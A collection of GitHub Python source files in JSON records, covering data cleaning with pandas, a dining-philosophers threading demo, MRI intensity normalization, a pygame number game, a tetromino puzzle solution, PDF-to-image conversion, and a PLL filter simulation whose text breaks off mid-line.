+{"seq_id":"21187931581","text":"import pandas as pd\nfrom datetime import timedelta\n\npd.set_option('display.max_columns', 10)\n\npath_accident_data = 'data/raw/US_Accidents_Dec21_updated.csv'\npath_weather_data = 'data/raw/WeatherEvents_Jan2016-Dec2021.csv'\npath_gdp_data = 'data/raw/SAGDP2N__ALL_AREAS_1997_2020.csv'\npath_employment_data = 'data/raw/CAEMP25N__ALL_AREAS_2001_2019.csv'\n\nmapping_state_path = 'data/cleaned/mapping/mapping_pop_state.csv'\n\npath_output_accident_data = 'data/cleaned/data_accident_2016_2021.csv'\npath_output_weather_data = 'data/cleaned/data_weather_2016_2021.csv'\npath_output_gdp_data = 'data/cleaned/data_gdp_2015_2020.csv'\npath_output_employment_data = 'data/cleaned/data_employment_2015_2019.csv'\n\n\ndef import_raw_data(path_accident_data, path_weather_data, path_gdp_data, path_employment_data):\n df_acc = pd.read_csv(path_accident_data)\n df_wea = pd.read_csv(path_weather_data)\n df_gdp = pd.read_csv(path_gdp_data)\n df_emp = pd.read_csv(path_employment_data, encoding='ISO-8859-1')\n return df_acc, df_wea, df_gdp, df_emp\n\n\ndef aggregate_accident_data(df_acc):\n \"\"\"\n Get year, month of each accident from Start_Time attribute\n Aggregate by year, month, state, zipcode, severity of accidents\n map 'state' column'\n \"\"\"\n df_acc['year'] = pd.to_datetime(df_acc['Start_Time']).dt.year\n df_acc['month'] = pd.to_datetime(df_acc['Start_Time']).dt.month\n df_acc['Zipcode'] = df_acc['Zipcode'].str[:5]\n\n df_acc_agg = df_acc.groupby(['year', 'month', 'State', 'Zipcode', 'Severity'], group_keys=False)[\n 'ID'].count().reset_index()\n df_acc_agg.columns = ['year', 'month', 'postal_abbr', 'zipcode', 'severity', 'count_accidents']\n\n df_mapping_state = pd.read_csv(mapping_state_path)\n df_acc_agg = df_acc_agg.merge(df_mapping_state, how='left', on='postal_abbr')\n\n return df_acc_agg[['year', 'month', 'state_code', 'state', 'postal_abbr', 'zipcode', 'severity', 'count_accidents']]\n\n\ndef aggregate_weather_data(df_wea):\n \"\"\"\n Get day, month, year of each record from StartTime attribute\n Aggregate by year, month, zipcode, state, event type, and severity of events\n Count the duration (in days) for the specific events by year/month/zipcode/state using the unique count of days\n map 'state' column\n \"\"\"\n df_wea['start_time'] = pd.to_datetime(df_wea['StartTime(UTC)'])\n df_wea['end_time'] = pd.to_datetime(df_wea['EndTime(UTC)'])\n df_wea['year'] = df_wea['start_time'].dt.year\n df_wea['month'] = df_wea['start_time'].dt.month\n df_wea['day'] = df_wea['start_time'].dt.day\n\n df_wea_agg = df_wea.groupby(['year', 'month', 'State', 'ZipCode', 'Type', 'Severity'])[\n 'day'].nunique().reset_index()\n df_wea_agg.columns = ['year', 'month', 'postal_abbr', 'zipcode', 'event_type', 'severity', 'duration_days']\n\n df_mapping_state = pd.read_csv(mapping_state_path)\n df_wea_agg = df_wea_agg.merge(df_mapping_state, how='left', on='postal_abbr')\n\n return df_wea_agg[['year', 'month', 'state_code', 'state', 'postal_abbr', 'zipcode', 'event_type', 'severity', 'duration_days']]\n\n\ndef aggregate_gdp_data(df_gdp):\n \"\"\"\n flatten number of GDP for each year (columns) to rows & map 'state' column\n Aggregate by year, state, and industry of GDP\n \"\"\"\n start_year, end_year = 2015, 2019\n\n # filtering industries\n col_include_linecode = [3, 6, 10, 11, 12, 34, 35, 36, 45, 50, 59, 68, 75, 82, 83]\n df_gdp = df_gdp[df_gdp['LineCode'].isin(col_include_linecode)]\n\n # mapping new industry names\n mapping_industry = {\n 3: 'agriculture',\n 6: 'mining',\n 10: 'utilities',\n 11: 'construction',\n 12: 'manufacturing',\n 34: 'wholesale_trade',\n 35: 'retail_trade',\n 36: 'transportation',\n 45: 'information',\n 50: 'finance',\n 59: 'services',\n 68: 'education',\n 75: 'entertainment',\n 82: 'others',\n 83: 'government'\n }\n df_gdp['industry'] = df_gdp['LineCode'].map(mapping_industry)\n\n df_gdp_melt = pd.melt(df_gdp, id_vars=['GeoName', 'industry'],\n value_vars=[str(yr) for yr in range(start_year, end_year + 1)], \\\n var_name='year', value_name='gdp_millions')\n # df_gdp_melt['Description'] = df_gdp_melt['Description'].str.strip()\n\n df_gdp_melt.columns = ['state', 'industry', 'year', 'gdp_millions']\n\n df_mapping_state = pd.read_csv(mapping_state_path)\n df_gdp_melt = df_gdp_melt.merge(df_mapping_state, how='inner', on='state')\n\n return df_gdp_melt[['year', 'state_code', 'state', 'postal_abbr', 'industry', 'gdp_millions']]\n\n\ndef aggregate_employment_data(df_emp):\n \"\"\"\n flatten number of employment for each year (columns) to rows & map 'state' column\n Aggregate by year, state, and industry of employment\n \"\"\"\n start_year, end_year = 2015, 2019\n\n # filtering industries\n col_include_linecode = [70, 100, 200, 300, 400, 500, 600, 700, 800, 900, 1000, 1100, 1200, 1300, 1400, 1500, 1600, 1700, 1800, 1900, 2001, 2002, 2010]\n df_emp = df_emp[df_emp['LineCode'].isin(col_include_linecode)]\n\n # mapping new industry names\n mapping_industry = {\n 70: 'farm',\n 100: 'forestry',\n 200: 'mining',\n 300: 'utilities',\n 400: 'construction',\n 500: 'manufacturing',\n 600: 'wholesale_trade',\n 700: 'retail_trade',\n 800: 'transportation',\n 900: 'information',\n 1000: 'finance',\n 1100: 'real_estate',\n 1200: 'professional',\n 1300: 'management',\n 1400: 'administrative_support',\n 1500: 'education',\n 1600: 'healthcare',\n 1700: 'entertainment',\n 1800: 'accommodation_food',\n 1900: 'others',\n 2001: 'federal_civilian',\n 2002: 'military',\n 2010: 'state_local'\n }\n df_emp['industry'] = df_emp['LineCode'].map(mapping_industry)\n\n df_emp_melt = pd.melt(df_emp, id_vars=['GeoName', 'industry'],\n value_vars=[str(yr) for yr in range(start_year, end_year + 1)], \\\n var_name='year', value_name='num_employment')\n\n # df_emp_melt['Description'] = df_emp_melt['Description'].str.strip()\n df_emp_melt.columns = ['state', 'industry', 'year', 'num_employment']\n\n df_mapping_state = pd.read_csv(mapping_state_path)\n df_emp_melt = df_emp_melt.merge(df_mapping_state, how='inner', on='state')\n\n return df_emp_melt[['year', 'state_code', 'state', 'postal_abbr', 'industry', 'num_employment']]\n\n\ndef write_to_csv(df_list, path_list):\n assert len(df_list) == len(path_list), 'different dataframe and output path lengths'\n for i in range(len(df_list)):\n df_list[i].to_csv(path_list[i], index=False)\n\n\nif __name__ == '__main__':\n df_acc, df_wea, df_gdp, df_emp = import_raw_data(path_accident_data, path_weather_data, path_gdp_data, path_employment_data)\n\n\n df_acc_agg = aggregate_accident_data(df_acc)\n df_wea_agg = aggregate_weather_data(df_wea)\n df_gdp_agg = aggregate_gdp_data(df_gdp)\n df_emp_agg = aggregate_employment_data(df_emp)\n\n df_list = [df_acc_agg, df_wea_agg, df_gdp_agg, df_emp_agg]\n path_list = [path_output_accident_data, path_output_weather_data, path_output_gdp_data, path_output_employment_data]\n\n write_to_csv(df_list, path_list)\n\n\n\n\n\n\n\n\n\n","repo_name":"bvorapoom/usc_apds","sub_path":"551_Data Management/Project/cleanData.py","file_name":"cleanData.py","file_ext":"py","file_size_in_byte":7294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8711178958","text":"import threading\r\nimport random\r\nimport time\r\n\r\n\r\n# -----------------------------------------------------------------------------\r\nclass Philosopher(threading.Thread):\r\n running = True\r\n\r\n # ---------------------------------------------------------------------------\r\n def __init__(self, xname, chopStickLeft, chopStickRight):\r\n threading.Thread.__init__(self)\r\n self.name = xname\r\n self.chopStickLeft = chopStickLeft\r\n self.chopStickRight = chopStickRight\r\n\r\n # ------------------------------------------------------------------------------\r\n def run(self):\r\n while self.running:\r\n time.sleep(random.uniform(3, 15))\r\n print('%s want to eat a meal.' % self.name)\r\n self.dine()\r\n\r\n # -----------------------------------------------------------------------------------\r\n def dine(self):\r\n chopStick1, chopStick2 = self.chopStickLeft, self.chopStickRight\r\n\r\n while self.running:\r\n chopStick1.acquire(True)\r\n locked = chopStick2.acquire(False)\r\n if locked: break\r\n chopStick1.release()\r\n print('%s exchange chopsticks' % self.name)\r\n chopStick1, chopStick2 = chopStick2, chopStick1\r\n else:\r\n return\r\n\r\n self.dining()\r\n chopStick2.release()\r\n chopStick1.release()\r\n\r\n # -------------------------------------------------------------------------------\r\n def dining(self):\r\n print('%s start to eat meal ' % self.name)\r\n time.sleep(random.uniform(1, 10))\r\n print('%s finishes eat meal && thinking.' % self.name)\r\n # ---------------------------------------------------------------------------------\r\n\r\n\r\ndef PhilosophersDiningTime():\r\n chopSticks = [threading.Lock() for n in range(7)]\r\n philosopherNames = ('Nietzsche', 'Averroes', 'Ambrose', 'Damascius', 'Galilei', 'Gorgias', 'Iamblichus')\r\n\r\n philosophers = [Philosopher(philosopherNames[i], chopSticks[i % 7], chopSticks[(i + 1) % 7]) \\\r\n for i in range(7)]\r\n\r\n random.seed(507129)\r\n Philosopher.running = True\r\n for p in philosophers: p.start()\r\n time.sleep(100)\r\n Philosopher.running = False\r\n print(\"One round going to finish\")\r\n\r\n\r\n# ----------------------------------------------------------------------------------------------------------------------\r\nPhilosophersDiningTime()\r\n","repo_name":"b00m13/Dining_Philosophers","sub_path":"Nijat_Alammadov_Philosophers.py","file_name":"Nijat_Alammadov_Philosophers.py","file_ext":"py","file_size_in_byte":2413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71589378728","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nintensity_normalization.exec.zscore_normalize\n\ncommand line executable for Z-score intensity normalization routine\n\nAuthor: Jacob Reinhold (jacob.reinhold@jhu.edu)\n\nCreated on: May 30, 2018\n\"\"\"\n\nfrom __future__ import print_function, division\n\nimport argparse\nimport logging\nimport os\nimport sys\nimport warnings\n\nwith warnings.catch_warnings():\n warnings.filterwarnings('ignore', category=FutureWarning)\n from intensity_normalization.errors import NormalizationError\n from intensity_normalization.normalize import zscore\n from intensity_normalization.utilities import io\n\n\ndef arg_parser():\n parser = argparse.ArgumentParser(description='Normalize image intensity by subtracting the mean '\n 'and dividing by the standard deviation of the whole brain')\n required = parser.add_argument_group('Required')\n required.add_argument('-i', '--image', type=str, required=True,\n help='path to a directory of/single nifti MR image of the brain')\n required.add_argument('-o', '--output-dir', type=str, default=None,\n help='path to output normalized images '\n '(default: to directory containing images)')\n\n options = parser.add_argument_group('Options')\n options.add_argument('-m', '--brain-mask', type=str, default=None,\n help='path to a directory of/single nifti brain mask for the image')\n options.add_argument('-s', '--single-img', action='store_true', default=False,\n help='image and mask are individual images, not directories')\n options.add_argument('-p', '--plot-hist', action='store_true', default=False,\n help='plot the histograms of the normalized images, save it in the output directory')\n options.add_argument('-v', '--verbosity', action=\"count\", default=0,\n help=\"increase output verbosity (e.g., -vv is more than -v)\")\n return parser\n\n\ndef process(image_fn, brain_mask_fn, output_dir, logger):\n img = io.open_nii(image_fn)\n dirname, base, _ = io.split_filename(image_fn)\n if output_dir is not None:\n dirname = output_dir\n if not os.path.exists(dirname):\n logger.info('Making output directory: {}'.format(dirname))\n os.mkdir(dirname)\n if brain_mask_fn is None:\n mask = None\n else:\n if brain_mask_fn == 'nomask':\n mask = 'nomask'\n else:\n mask = io.open_nii(brain_mask_fn)\n normalized = zscore.zscore_normalize(img, mask)\n outfile = os.path.join(dirname, base + '_zscore.nii.gz')\n logger.info('Normalized image saved: {}'.format(outfile))\n io.save_nii(normalized, outfile, is_nii=True)\n\n\ndef main(args=None):\n args = arg_parser().parse_args(args)\n if args.verbosity == 1:\n level = logging.getLevelName('INFO')\n elif args.verbosity >= 2:\n level = logging.getLevelName('DEBUG')\n else:\n level = logging.getLevelName('WARNING')\n logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=level)\n logger = logging.getLogger(__name__)\n try:\n if not args.single_img:\n if not os.path.isdir(args.image):\n raise NormalizationError('if single-img option off, then image must be a directory')\n img_fns = io.glob_nii(args.image)\n if args.brain_mask is None:\n mask_fns = [None] * len(img_fns)\n else:\n if os.path.isdir(args.brain_mask):\n mask_fns = io.glob_nii(args.brain_mask)\n else:\n logger.info('whole image z-score normalization enabled')\n mask_fns = ['nomask'] * len(img_fns)\n if len(img_fns) != len(mask_fns) and len(img_fns) > 0:\n raise NormalizationError('input images and masks must be in correspondence and greater than zero '\n '({:d} != {:d})'.format(len(img_fns), len(mask_fns)))\n\n for i, (img, mask) in enumerate(zip(img_fns, mask_fns), 1):\n logger.info('Normalizing image {} ({:d}/{:d})'.format(img, i, len(img_fns)))\n dirname, base, _ = io.split_filename(img)\n if args.output_dir is not None:\n dirname = args.output_dir\n process(img, mask, dirname, logger)\n\n else:\n if not os.path.isfile(args.image):\n raise NormalizationError('if single-img option on, then image must be a file')\n logger.info('Normalizing image {}'.format(args.image))\n dirname, base, _ = io.split_filename(args.image)\n process(args.image, args.brain_mask, dirname, logger)\n\n if args.plot_hist:\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore', category=FutureWarning)\n from intensity_normalization.plot.hist import all_hists\n import matplotlib.pyplot as plt\n bm = args.brain_mask if args.brain_mask is None else \\\n args.brain_mask if os.path.isdir(args.brain_mask) else None\n ax = all_hists(args.output_dir, bm)\n ax.set_title('Z-Score')\n plt.savefig(os.path.join(args.output_dir, 'hist.png'))\n\n return 0\n except Exception as e:\n logger.exception(e)\n return 1\n\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv[1:]))\n","repo_name":"HaoLi12345/skull_stripping","sub_path":"AGS/src/pre_processing/intensity_normalization_github/intensity_normalization/exec/zscore_normalize.py","file_name":"zscore_normalize.py","file_ext":"py","file_size_in_byte":5537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"23928557385","text":"import pygame\n\npygame.init()\n\nscreen = pygame.display.set_mode((800, 600,))\nGame_running = True\n\n# BackGround Img\nbackground = pygame.image.load(\"wooden_background_board_65898_800x600 222.jpg\")\n\n# Title and icon\npygame.display.set_caption(\"100 Game\")\nicon = pygame.image.load(\"number-blocks.png\")\npygame.display.set_icon(icon)\n\n# Digit One 1 !\noneImg = pygame.image.load(\"one (1).png\")\noneX = 150\noneY = 50\noneX_change = 0\n\n\ndef Digit_One(x, y):\n screen.blit(oneImg, (x, y))\n\n\n# Digit Two !\ntwoImg = pygame.image.load(\"two.png\")\ntwoX = 250\ntwoY = 50\n\n\ndef Digit_Two(x, y):\n screen.blit(twoImg, (x, y))\n\n\n# Digit Three !\nthreeImg = pygame.image.load(\"three.png\")\nthreeX = 350\nthreeY = 50\n\n\ndef Digit_Three(x, y):\n screen.blit(threeImg, (x, y))\n\n\n# Digit Four !\nfourImg = pygame.image.load(\"four.png\")\nfourX = 450\nfourY = 50\n\n\ndef Digit_Four(x, y):\n screen.blit(fourImg, (x, y))\n\n\n# Digit Five !\nfiveImg = pygame.image.load(\"five.png\")\nfiveX = 550\nfiveY = 50\n\n\ndef Digit_Five(x, y):\n screen.blit(fiveImg, (x, y))\n\n\n# Digit Six !\nsixImg = pygame.image.load(\"six.png\")\nsixX = 150\nsixY = 120\n\n\ndef Digit_Six(x, y):\n screen.blit(sixImg, (x, y))\n\n\n# Digit seven !\nsevenImg = pygame.image.load(\"seven.png\")\nsevenX = 250\nsevenY = 120\n\n\ndef Digit_Seven(x, y):\n screen.blit(sevenImg, (x, y))\n\n\n# Digit Eight !\neightImg = pygame.image.load(\"eight.png\")\neightX = 350\neightY = 120\n\n\ndef Digit_Eight(x, y):\n screen.blit(eightImg, (x, y))\n\n\n# Digit Nine !\nnineImg = pygame.image.load(\"nine.png\")\nnineX = 450\nnineY = 120\n\n\ndef Digit_Nine(x, y):\n screen.blit(nineImg, (x, y))\n\n\ndef instructors():\n instructors_text = pygame.font.Font('OpenSans-Bold.ttf', 20)\n text = instructors_text.render(\"Input numbers using the keyboard, whoever reaches 100 wins : \", True, (0,0, 0))\n screen.blit(text, (5, 250))\n\n\n\n\n# Displaying the score_value\nscore_value = 0\nscore_text = pygame.font.Font('yankclipper2.ttf', 44)\nscoreX = 350\nscoreY = 450\n\n\ndef show_score(x, y):\n game = score_text.render(\"Current score: \" + str(score_value), True, (255, 0, 0))\n screen.blit(game, (x, y))\n\n\n# Displaying the player Turn\ncurrent_player = \"Player_One\"\nturns = pygame.font.Font('yankclipper2.ttf', 44)\nturnsX = 0\nturnsY = 350\n\n\ndef player_turn(x, y):\n turn = score_text.render(\"Current Turn: \" + str(current_player), True, (255, 0, 0))\n screen.blit(turn, (x, y))\n\n\ndef Winner():\n global Game_running\n background_new = pygame.image.load(\"Game over.jpg\")\n if current_player == \"Player_Two\" and score_value == 100:\n winner_text = pygame.font.Font('yankclipper2.ttf', 50)\n winner = winner_text.render(\"Player One Wins !! \", True, (255, 0, 0))\n screen.blit(background_new, (0, 0))\n screen.blit(winner, (275, 290))\n Game_running = False\n if current_player == \"Player_One\" and score_value == 100:\n winner_text = pygame.font.Font('yankclipper2.ttf', 50)\n winner = winner_text.render(\"Player Two Wins !! \", True, (255, 0, 0))\n screen.blit(background_new, (0, 0))\n screen.blit(winner, (275, 290))\n Game_running = False\n # Checking for Draw\n if score_value > 100:\n winner_text = pygame.font.Font('yankclipper2.ttf', 50)\n winner = winner_text.render(\"Draw!!\", True, (255, 0, 0))\n screen.blit(background_new, (0, 0))\n screen.blit(winner, (350, 290))\n Game_running = False\n\n\nwhile True:\n screen.fill((255, 255, 255))\n\n mX, mY = pygame.mouse.get_pos()\n\n # Keyboard Events !\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT: # checkinng if the user close the program\n exit()\n # Keyboard inputs !\n if Game_running == True:\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_1:\n # 1 moves to 2\n a = oneX\n b = oneY\n oneX = twoX\n oneY = twoY\n twoY = b\n twoX = a\n score_value = score_value + 1\n if current_player == \"Player_One\":\n current_player = \"Player_Two\"\n else:\n current_player = \"Player_One\"\n if event.key == pygame.K_2:\n\n # 2 moves to 6\n c = twoX\n d = twoY\n twoX = sixX\n twoY = sixY\n sixX = c\n sixY = d\n\n score_value = score_value + 2\n if current_player == \"Player_One\":\n current_player = \"Player_Two\"\n else:\n current_player = \"Player_One\"\n if event.key == pygame.K_3:\n\n # 3 moves to 7\n e = threeX\n f = threeY\n threeX = sevenX\n threeY = sevenY\n sevenX = e\n sevenY = f\n\n score_value = score_value + 3\n if current_player == \"Player_One\":\n current_player = \"Player_Two\"\n else:\n current_player = \"Player_One\"\n if event.key == pygame.K_4:\n\n # 4 moves to 9\n g = fourX\n h = fourY\n\n fourX = nineX\n fourY = nineY\n\n nineX = g\n nineY = h\n\n score_value = score_value + 4\n if current_player == \"Player_One\":\n current_player = \"Player_Two\"\n else:\n current_player = \"Player_One\"\n if event.key == pygame.K_5:\n # 5 moves to 8\n i = fiveX\n g = fiveY\n fiveX = eightX\n fiveY = eightY\n eightX = i\n eightY = g\n score_value = score_value + 5\n if current_player == \"Player_One\":\n current_player = \"Player_Two\"\n else:\n current_player = \"Player_One\"\n if event.key == pygame.K_6:\n # six moves to nine\n j = sixX\n k = sixY\n sixX = nineX\n sixY = nineY\n nineX = j\n nineY = k\n score_value = score_value + 6\n if current_player == \"Player_One\":\n current_player = \"Player_Two\"\n else:\n current_player = \"Player_One\"\n if event.key == pygame.K_7:\n # 7 moves to 4\n l = sevenX\n m = sevenY\n sevenX = fourX\n sevenY = fourY\n fourX = l\n fourY = m\n score_value = score_value + 7\n if current_player == \"Player_One\":\n current_player = \"Player_Two\"\n else:\n current_player = \"Player_One\"\n if event.key == pygame.K_8:\n # 8 moves to 1\n n = eightX\n o = eightY\n eightX = oneX\n eightY = oneY\n oneX = n\n oneY = o\n score_value = score_value + 8\n if current_player == \"Player_One\":\n current_player = \"Player_Two\"\n else:\n current_player = \"Player_One\"\n if event.key == pygame.K_9:\n # 9 moves to 5\n p = nineX\n q = nineY\n nineX = fiveX\n nineY = fiveY\n fiveX = p\n fiveY = q\n\n score_value = score_value + 9\n if current_player == \"Player_One\":\n current_player = \"Player_Two\"\n else:\n current_player = \"Player_One\"\n\n screen.blit(background, (0, 0))\n Digit_One(oneX, oneY)\n Digit_Two(twoX, twoY)\n Digit_Three(threeX, threeY)\n Digit_Four(fourX, fourY)\n Digit_Five(fiveX, fiveY)\n Digit_Six(sixX, sixY)\n Digit_Seven(sevenX, sevenY)\n Digit_Eight(eightX, eightY)\n Digit_Nine(nineX, nineY)\n show_score(scoreX, scoreY)\n player_turn(turnsX, turnsY)\n instructors()\n Winner()\n\n pygame.display.update()\n","repo_name":"OmarGaafar1/100-Game.py","sub_path":"The 100 Game/The 100 Game GUI.py","file_name":"The 100 Game GUI.py","file_ext":"py","file_size_in_byte":8722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18251791203","text":"import sys\n\ninput = sys.stdin.readline\n\nshape_one = [[1, 1, 1, 1]]\nshape_two = [[1, 1], [1, 1]]\nshape_three = [[1, 1, 1], [0, 1, 0]]\nshape_four = [[1, 0], [1, 0], [1, 1]]\nshape_five = [[1, 0], [1, 1], [0, 1]]\nshape_six = [[0, 1], [0, 1], [1, 1]]\nshape_seven = [[0, 1], [1, 1], [1, 0]]\nshapes = [shape_one, shape_two, shape_three, shape_four, shape_five, shape_six, shape_seven]\n\n\ndef brute(N: int, M: int, r: int, c: int, board: list) -> int:\n max_size = 0\n for i, shape in enumerate(shapes):\n for _ in range(4):\n size = 0\n shape = list(zip(*shape[::-1]))\n for sr in range(len(shape)):\n for sc in range(len(shape[0])):\n nr, nc = r + sr, c + sc\n if 0 <= nr < N and 0 <= nc < M:\n size += (board[nr][nc] * shape[sr][sc])\n else:\n size = 0\n break\n if size == 0:\n break\n max_size = max(size, max_size)\n\n return max_size\n\ndef solve(N: int, M: int, board: list) -> None:\n answer = 0\n for r in range(N):\n for c in range(M):\n answer = max(answer, brute(N, M, r, c, board))\n print(answer)\n\n\nif __name__ == '__main__':\n N, M = map(int, input().split())\n board = [list(map(int, input().split())) for _ in range(N)]\n solve(N, M, board)\n\n # tetrominos = [[[0, 1], [0, 2], [0, 3]],\n # [[1, 0], [2, 0], [3, 0]],\n # [[0, 1], [1, 0], [1, 1]],\n # [[1, 0], [2, 0], [2, 1]],\n # [[1, 0], [1, -1], [1, -2]],\n # [[0, 1], [1, 1], [2, 1]],\n # [[0, 1], [0, 2], [1, 0]],\n # [[1, 0], [1, 1], [2, 1]],\n # [[0, 1], [1, 0], [1, -1]],\n # [[0, 1], [0, 2], [1, 1]],\n # [[1, 0], [1, 1], [2, 0]],\n # [[1, 0], [1, -1], [1, 1]],\n # [[1, 0], [2, 0], [1, -1]],\n # ]\n\n # def brute(N: int, M: int, r: int, c: int) -> int:\n # max_size = 0\n #\n # for tetromino in tetrominos:\n # size = board[r][c]\n # for row, col in tetromino:\n # nr, nc = r + row, c + col\n # if 0 <= nr < N and 0 <= nc < M:\n # size += board[nr][nc]\n # else:\n # size = 0\n # break\n # if size:\n # max_size = max(size, max_size)\n #\n # return max_size\n","repo_name":"Just-NB/Algorithm","sub_path":"Baekjoon/구현/Gold/14500_테트로미노.py","file_name":"14500_테트로미노.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"12612693047","text":"from pdf2image import convert_from_path\n\n\ndef convert_pdf_to_png(pdf_file_path, page_number, output_folder):\n images = convert_from_path(pdf_file_path, first_page=page_number + 1, last_page=page_number + 1)\n\n if images:\n image = images[0]\n output_path = f\"{output_folder}/barcode_{page_number + 1}.png\"\n image.save(output_path, \"PNG\")\n return output_path\n else:\n return None","repo_name":"Rustam0007/xim_test","sub_path":"lib/pdf2png.py","file_name":"pdf2png.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"69992615847","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 5 14:06:46 2017\n\n@author: tmurphy\n\nModel of PLL displaying open loop, closed loop, and loop filter response\noutputting graphs of magnitude and phase for each.\n\nEquations taken from PLL Performance, Simulation, and Design; 5th Edition; Dean Banerjee\n\nloop filter should be correct.\nopen loop and closed loop appear accurate.\nTime response not working right?\nIs N correct?if not adjust kpd after fixing N?\nAdd phase noise plot if possible?\n\"\"\"\n\nfrom scipy import signal\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\n# CP, VCO, and Divider parameters\nkpd = 2.5e-3 # icp also\nkvco = 110e6\nn = 59.139\n\n# Fourth Order Loop filter parameters\nc1 = 1.52e-9\nc2 = 37.7e-9\nc3 = 893e-12\nc4 = 253.3e-12\nr2 = 145\nr3 = 113\nr4 = 738\n\n# Constants used in transfer function of loop filter and open loop response\na0 = c1 + c2 + c3 + c4\na1 = c2 * r2 *(c1 + c3 + c4) + r3 * (c1 + c2) * (c3 + c4) + c4 * r4 *(c1 + c2 + c3)\na2 = c1 * c2 * r2 * r3 * (c3 +c4) + c4 * r4 * (c2 * c3 * r3 + c1 * c3 * r3 + c1 * c2 * r2 + c2 * c3 * r2)\na3 = c1 * c2 * c3 * c4 * r2 * r3 * r4\nk = kpd * kvco\nt2 = r2 * c2\nt2_open = t2 * k\n\n# adjusted constants for closed loop response\ns1 = (t2 * k) / n\ns0 = k / n\n\n\ndef graph_mag(w, mag, title): # function for graphing magnitude response\n plt.figure()\n plt.semilogx(w, mag) # Bode magnitude plot\n plt.grid()\n plt.gca().xaxis.grid(True, which='minor')\n plt.title(title)\n plt.xlabel(r'Frequency (Hz)')\n plt.ylabel(r'Magnitude (db)')\n\ndef graph_phase(w, phase, title): # function for graphing phase response\n plt.figure()\n plt.semilogx(w, phase) # Bode Phase plot\n plt.grid()\n plt.gca().xaxis.grid(True, which='minor')\n plt.title(title)\n plt.xlabel(r'Frequency (Hz)')\n plt.ylabel(r'Phase (deg)')\n\ndef graph_cl(): # graph just closed loop gain response\n # Closed loop transfer response for PLL\n graph_mag(freq, mag_c, 'Closed Loop PLL Response') \n graph_phase(freq, phase_c, 'Closed Loop PLL Response')\n plt.show()\n\ndef graph_ol(): # graph just open loop gain response\n # Open loop transfer response for PLL\n graph_mag(freq, mag_o, 'Open Loop PLL Response') \n graph_phase(freq, phase_o, 'Open Loop PLL Response')\n plt.show()\n\ndef graph_lf(): # graph just open loop gain response\n # Open loop transfer response for PLL\n graph_mag(freq, mag, 'Loop Filter Response') \n graph_phase(freq, phase, 'Loop Filter Response')\n plt.show()\n\ndef graph_noise(): # graph just phase noise\n plt.figure()\n plt.semilogx(freq, vco_noise, 'b--')\n plt.semilogx(freq, ref_noise, 'g--')\n plt.semilogx(freq, s_ref, 'm')\n plt.semilogx(freq, vco_noise, 'r')\n# plt.semilogx(freq, r2_noise, 'r--')\n# plt.semilogx(freq, r3_noise, 'g--')\n# plt.semilogx(freq, r4_noise, 'b--')\n# plt.semilogx(freq, r_tot, 'm--')\n plt.grid()\n plt.ylim([-160,-60])\n plt.gca().xaxis.grid(True, which='minor')\n plt.title('Phase Noise')\n plt.xlabel(r'Frequency (Hz)')\n plt.ylabel(r'Phase Noise Power (dbc/Hz)')\n plt.show()\n\n#def r_noise(vx, tr): # equation to convert resistor noise from V to dBc/Hz\n# rout = (vx * kvco) / (freq * math.sqrt(2)) * abs(tr / [1 + mag_o/n])\n# return rout\n\n# numerators for transient response\nnum_filter = [t2, 1]\nnum_open = [t2_open, k]\nnum_closed = [s1, s0]\n\n# denominators for transient response\nden_filter = [a3, a2, a1, a0, 0]\nden_open = [a3, a2, a1, a0, 0, 0]\nden_closed = [a3, a2, a1, a0, s1, s0]\n\n# create transfer functions\nf_filter = signal.TransferFunction(num_filter, den_filter)\nf_open = signal.TransferFunction(num_open, den_open)\nf_closed = signal.TransferFunction(num_closed, den_closed)\n\n# create plot data\nfreq = np.arange (1, 100e6, 10) # frequency range 0.1Hz to 100MHz\nx_new = freq * 2 * np.pi # change frequency to rads/s for bode plot function\nw, mag, phase = signal.bode(f_filter, x_new) # loop filter creation\nw_o, mag_o, phase_o = signal.bode(f_open, x_new) # open loop creation\nw_c, mag_c, phase_c = signal.bode(f_closed, x_new) # closed loop creation\n\n\n# Phase Noise Simulation\nref_noise = np.piecewise(freq, [freq < 1, (10 > freq) & (freq >= 1), (100 > freq) & (freq >= 10), (1e3 > freq) & (freq >= 100), (1e4 > freq) & (freq >= 1e3), freq >= 1e4], [lambda x: -32 * np.log10(1241 * x), lambda x: -21 * np.log10(5.179e4 * x), lambda x: -17 * np.log10(1.145e6 * x), lambda x: -3 * np.log10(4.642e43 * x), lambda x: -5 * np.log10(1e25 * x), -145])\nvco_noise = np.piecewise(freq, [freq < 1e4, (1e5 > freq) & (freq >= 1e4), (1e6 > freq) & (freq >= 1e5), (1e7 > freq) & (freq >= 1e6), (2e7 > freq) & (freq >= 1e7), (1e8 > freq) & (freq >= 2e7), freq >= 1e8], [lambda x: -30 * np.log10(0.1166 * x), lambda x: -23 * np.log10(x), lambda x: -21 * np.log10(2.994 * x), lambda x: -20 * np.log10(6.310 * x), lambda x: -19.93 * np.log10(6.711 * x), lambda x: 42.73 * 10**(-3.862e-8 * x) - 169.2, -196])\ns_ref = 10*np.log10(mag_c)\ns_vco = vco_noise * 1/np.asarray(mag_o+1)\n\n# loop filter noise\nv2 = math.sqrt(4 * 300 * 1.380658e-23 * r2)\nv3 = math.sqrt(4 * 300 * 1.380658e-23 * r3)\nv4 = math.sqrt(4 * 300 * 1.380658e-23 * r4)\nz1 = signal.TransferFunction([c2*r2, 1], [c1*c2*r2, c1+c2, 0])\nz2 = 